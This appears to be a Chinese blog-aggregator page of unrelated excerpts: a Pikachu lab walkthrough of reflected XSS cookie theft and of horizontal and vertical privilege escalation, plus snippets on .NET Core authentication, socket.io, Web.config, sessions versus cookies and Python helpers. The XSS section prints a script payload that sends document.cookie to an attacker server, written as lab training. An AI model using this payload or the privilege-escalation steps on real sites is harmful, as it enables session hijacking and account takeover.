cookie

pikachu注入练习(XSS-2)

我与影子孤独终老i 提交于 2020-04-04 00:24:50
1.cookie获取(xss反射型get提交) 我们上次在xss反射型get提交中,通过在输入框内编写js代码<script>alert(‘xss’)</script>显示出了弹窗,我们可以利用这个漏洞,编写高级一些的js代码来获取cookie值 在pikachu中,为我们提供了一个平台,在pikachu文件夹下有一个pkxss文件夹,这个我们可以用来当做获取cookie值的服务器。 我们在pikachu主界面中左侧最下面可以登陆这个后台,第一次登陆需要安装,按要求安装即可 登陆后我们可以看到里面有cookie搜集,点进去就是存放cookie的界面了 然后我们进入到如图所示目录下,修改里面的cookie.php文件,把里面重定向的地址随意的改为其他正常的可访问的地址(欺骗),我这里改为存在漏洞的主页。 接下里我们像之前一样将输入框的输入字符长度加长,然后输入<script>document.location = ' http://192.168.42.140/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script> 这段js代码意思是,获取当前网页的cookie值并将其返回我们攻击者的服务器上,(我这里122为被攻击 140为攻击方) 提交以后我们发现似乎并没有什么异常

NET Core中的认证管理解析

試著忘記壹切 提交于 2020-04-03 22:16:18
2016-08-19 07:15 0x00 问题来源 在新建.NET Core的Web项目时选择“使用个人用户账户”就可以创建一个带有用户和权限管理的项目,已经准备好了用户注册、登录等很多页面,也可以使用AuthorizeAttribute进行各种权限管理,看起来似乎十分方便。不过生成的代码都替我干了些什么我一团雾水。看了下生成的数据表,功能也挺复杂的。实际上我需要的只是基于用户和角色的认证管理,而且用户资料是使用现有的库,但使用.NET Core自带的认证组件必须要依赖EF,表的结构也很多对不上,所以学习了下自带的认证组件的实现,然后自己写了个认证服务替换了Identity组件,同时Cookie管理使用自带的Cookie中间件、可以使用AuthorizeAttribute进行认证。复杂的需求还没遇到,所以就学习到了这里。这篇博客主要讨论最简单情况下的的基于用户和角色的认证。关于.NET Core自带认证组件的一些基本用法,可以参考。 0x01 .NET Core中的认证管理 提到认证管理,首相想到的就是用户的注册、登录、注销以及给用户添加/删除角色等功能。其中用户信息,角色信息等都是保存在数据库中的。所以主要包含数据库操作和登录业务逻辑两部分。在登录业务逻辑层面,.NET Core主要通过三个比较核心的类UserManager、RoleManager

Pikachu-Over Permission越权操作

心不动则不痛 提交于 2020-04-03 21:26:19
概述   如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。    越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。   一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对 对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。 目录 水平越权 垂直越权 一、水平越权   A用户和B用户属于同一级别的用户,但是各自不能操作对方的个人信息,A用户如果想越权操作B用户的个人信息的情况成为平行越权操作。 下面进行试验演示: 登录lili 123456 我们可以看到URL:提交了参数username 现在我们尝试越权,直接在URL中更改username的值,改为lucy,发现直接登陆了lucy的账户,此时实现越权。 二、垂直越权   A用户权限高于B用户,如果B用户操作A用户的权限的情况就是垂直越权。 实验演示如下: 登录超级boss :admin 123456 普通用户登录:pikachu 000000   然后我们观察到普通用户只有只读权限,那么接下来我们要利用burp suite工具,将超级用户的cookie值换成普通用户的cookie值,让普通用户操作超级用户的权限。  

socket.io 入门教程

妖精的绣舞 提交于 2020-04-03 17:01:15
转载自: http://deadhorse.me/nodejs/2011/12/29/socket.io_induction.html socket.io socket.io 是一个以实现跨浏览器、跨平台的实时应用为目的的项目。针对不同的浏览器版本或者不同客户端会做自动降级处理,选择合适的实现方式(websocket, long pull..),隐藏实现只暴露统一的接口。可以让应用只关注于业务层面上。 nodejs服务器端安装:npm install socket.io 安装之后就可以require模块来使用了: var sio = require('socket.io'); 在客户端的话,可以通过 <script src="/socket.io/socket.io.js"></script> 或者引用socket.io的CDN服务。 <script src="http://cdn.socket.io/stable/socket.io.js"></script> 在它的官方网站上有各种用法的介绍。 实际使用 这个项目是搭建在connect之上的,因此需要在connect上使用socket.io,同时,因为编辑文件有权限限制,因此还需要在socket.io中使用session和一些其他的连接信息来确认权限。 先看一下socket.io的使用, 服务端: var io =

Web.config文件例子详解

我与影子孤独终老i 提交于 2020-04-03 09:09:28
【转】 http://hi.baidu.com/jinzhu160/blog/item/24003b09eca730a52fddd4e8.html 个人整理了一下,大家可以复制到一个xml文件里,便于查看 <?xml version="1.0"?> <!--注意: 除了手动编辑此文件以外,您还可以使用 Web 管理工具来配置应用程序的设置。可以使用 Visual Studio 中的“网站”->“Asp.Net 配置”选项。 设置和注释的完整列表在 machine.config.comments 中,该文件通常位于 "Windows"Microsoft.Net"Framework"v2.x"Config 中。--> <!--Webconfig文件是一个xml文件,configuration是xml文件的根节点,由于xml文件的根节点只能有一个,所以Webconfig的所有配置都是在这个节点内进行的。--> <configuration> <!--指定配置节和命名空间声明。 clear:移除对继承的节和节组的所有引用,只允许由当前section和sectionGroup元素添加的节和节组。 remove:移除对继承的节和节组的引用。 section:定义配置节处理程序与配置元素之间的关联。 sectionGroup:定义配置节处理程序与配置节之间的关联。-->

会话跟踪

六眼飞鱼酱① 提交于 2020-04-02 07:47:40
9.1 会话跟踪的需求 HTTP是无状态协议: 协议的状态是指下一次传输可以“记住”这次传输信息的能力,无状态是指 同一个会话( 注意什么叫同一个会话 )的连续两个请求互相不了解 ,当浏览器发送请求给服务器的时候,服务器响应,但是同一个浏览器再发送请求给服务器的时候,他会响应,但是他不知道你就是刚才那个浏览器, 每一次请求和响应都是相对独立的。 在客户端与服务器进行动态交互的Web应用程序出现之后, HTTP无状态的特性严重阻碍了这些应用程序的实现,毕竟交互是需要承前启后的,简单的购物车程序也要知道用户到底在之前选择了什么商品 。 于是,两种用于保持HTTP连接状态的技术就应运而生了,一个是Cookie,而另一个则是Session Cookie是通过客户端保持状态的解决方案。 从定义上来说,Cookie就是由服务器发给客户端的特殊信息,而这些信息以文本文件的方式存放在客户端,然后客户端每次向服务器发送请求的时候都会带上这些特殊的信息,有了Cookie这样的技术实现,服务器在接收到来自客户端浏览器的请求之后,就能够通过分析存放于请求头的Cookie得到客户端特有的信息,从而动态生成与该客户端相对应的内容。 与Cookie相对的一个解决方案是Session,它是通过服务器来保持状态的。 需要在这里明确一下Session的含义。首先,我们通常都会把Session翻译成会话

浏览器相关的前端知识

我的梦境 提交于 2020-04-01 13:11:14
一、输入url到展示页面过程发生了什么? URL(Uniform Resource Locator)统一资源定位符,用于定位互联网上资源 scheme: // host.domain:port/path/filename scheme:定义因特网服务的类型,常见的类型有:HTTP HTTPS和GTP。 host:定义域主机(http默认是www) domain:定义因特网域名,比如xxx.com.cn port:定义主机上的端口号(http:默认是80) path:定义服务器上的路径 filename:定义文档/资源的名称 1. DNS解析:将域名解析成IP地址 在浏览器输入网址后,首先要经过域名解析,因为浏览器并不能直接通过域名找到对应的服务器,而是要通过IP地址,之所以我们用的是域名而不是IP,是因为IP是一段数字,特别不容易记住,而域名其实就是IP的伪装者。 什么是域名解析:DNS协议提供通过域名查找IP地址,或者是反向通过IP查找域名的服务。DNS是一个网络服务器,我们的域名解析简单来说就是DNS上记录一条信息记录。 1.1 递归查询 主机向本地域名服务器的查询一般都是采用递归查询。 所谓递归查询就是:如果主机所查询的本地域名服务器不知道被查询域名的IP地址,那么本地域名服务器就以DNS客户的身份,向其他根域名服务器继续发出查询的请求报文(即替该主机继续查询)

css 动态换肤

青春壹個敷衍的年華 提交于 2020-04-01 07:01:43
今天朋友问我如果动态调用皮肤,我也没有做过,只好到网上搜索了一下,然后自己分析了一下: 原理是利用js动态加载css文件,然后把信息用cookie保存到客户段。这样就可以使用户下次访问的时候显示的格式就是上次设计的。不过如果用户的浏览器禁止cookie的写入(mafee 8.5 就禁止cookie的写入),这个就是问题了。。。。。希望大虾们能够解决一下。。。 提醒一下(copy代码的时候不要忘记自己创建 css文件,不然就会没有效果的 -v-) <html> <head> <link id="skin" rel="stylesheet" type="text/css" /> <title>换肤技术</title> <script language="javascript" type="text/javascript"> function SetCookie(name,value){ var argv=SetCookie.arguments; var argc=SetCookie.arguments.length; var expires=(2<argc)?argv[2]:null; var path=(3<argc)?argv[3]:null; var domain=(4<argc)?argv[4]:null; var secure=(5<argc)?argv[5]:false;

session和cookie的区别

元气小坏坏 提交于 2020-04-01 02:22:33
cookie与session的区别有:cookie以文本格式存储在浏览器上,存储量有限;而会话存储在服务端,可以无限量存储多个变量并且比cookie更安全 在php中可以指定站点的访问者信息存储在session或者cookie中,它们都可以完成同样的事,那么他们的区别是什么呢,接下来将在文章中为大家详细介绍 位于用户的计算机上,用来维护用户计算机中的信息,直到用户删除。比如我们在网页上登录某个软件时输入用户名及密码时如果保存为cookie,则每次我们访问的时候就不需要登录网站了。我们可以在浏览器上保存任何文本,而且我们还可以随时随地的去阻止它或者删除。我们同样也可以禁用或者编辑cookie,但是有一点需要注意不要使用cookie来存储一些隐私数据,以防隐私泄露 session session称为会话信息,位于web服务器上,主要负责访问者与网站之间的交互,当访问浏览器请求http地址时,将传递到web服务器上并与访问信息进行匹配, 当关闭网站时就表示会话已经结束,网站无法访问该信息了,所以它无法保存永久数据,我们无法访问以及禁用网站 session与cookie的区别 (1)Cookie以文本文件格式存储在浏览器中,而session存储在服务端它存储了限制数据量。它只允许4kb它没有在cookie中保存多个变量。 (2)cookie的存储限制了数据量,只允许4KB

python函数积累

ε祈祈猫儿з 提交于 2020-03-31 20:06:32
给定前后字符串获取中间字符串 def GetMiddleStr(content,startStr,endStr): startIndex = content.index(startStr) if startIndex>=0: startIndex += len(startStr) endIndex = content.index(endStr) return content[startIndex:endIndex] cookie字符串转换为字典 def stringToDict(cookie): itemDict = {} items = cookie.split(';') for item in items: key = item.split('=')[0].replace(' ', '') value = item.split('=')[1] itemDict[key] = value return itemDict 来源: https://www.cnblogs.com/BobHuang/p/12607357.html